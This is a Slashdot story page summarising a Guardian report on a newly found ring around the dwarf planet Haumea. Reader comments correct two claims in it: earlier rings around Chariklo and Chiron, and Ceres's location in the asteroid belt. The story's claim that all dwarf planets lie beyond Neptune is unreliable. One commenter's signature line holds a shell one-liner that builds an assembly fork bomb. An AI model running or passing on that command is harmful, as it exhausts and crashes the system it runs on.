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Scientists Discover Ring Around Dwarf Planet Haumea Beyond Neptune

Posted by BeauHD on from the ring-around-the-rosie dept.

A ring has been discovered around one of the dwarf planets that orbits the outer reaches of the solar system. Until now, ring-like structures had only been found around the four outer planets -- Jupiter, Saturn, Uranus and Neptune. The Guardian reports: "In 2014 we discovered that a very small body in the Centaurs region [an area of small celestial bodies between the asteroid belt and Neptune] had a ring and at that time it seemed to be a very weird thing," explained Dr Jose Ortiz, whose group at the Instituto de Astrofisica de Andalucia in Granada made the discovery described in the journal Nature. "We didn't expect to find a ring around Haumea, but we were not too surprised either." Haumea was recognized by the International Astronomical Union in 2008 and is one of five dwarf planets, alongside Pluto, Ceres, Eris and Makemake. They are located beyond Neptune -- 50 times farther away from the sun than Earth. Haumea, named after the Hawaiian goddess of childbirth, is unusual because of its elongated shape, comparable to a rugby ball, and its rapid rotation, spinning around once every 3.9 hours. Its diameter is approximately a third of the size of Earth's moon.

3 of 49 comments (clear)

  1. First line of TFS and Guardian article are wrong by hackertourist · · Score: 5, Informative

    Ring systems had already been found around asteroid Chariklo and Chiron. So Haumea is the 7th object in the solar system known to have rings.

  2. Dwarf planet location correct, Ceres by JeffSh · · Score: 2

    article has fact errors about location of dwarf planets.

    Article states that all dwarf planets are beyond neptune but that's not true. Ceres is in the asteroid belt between Mars and Jupiter. the rest of the dwarf planets are indeed in the kuiper belt beyond neptune.

  3. Re:Nasty impact I would say by Hal_Porter · · Score: 4, Interesting

    Oh I dunno.

    You can make a case for Trek being very racist. All Vulcans are logical and inscrutable and a bit uptight. All Klingons are aggressive and warlike.

    Ferengi look and act like a Nazi caricature of Jews.

    I.e. in each case races have a well defined trait and all examples of that race seem to share. So I could see why someone who thinks that racial traits dominate over individual ones would like Trek even if Roddenberry would have been appalled by this.

    --
    echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;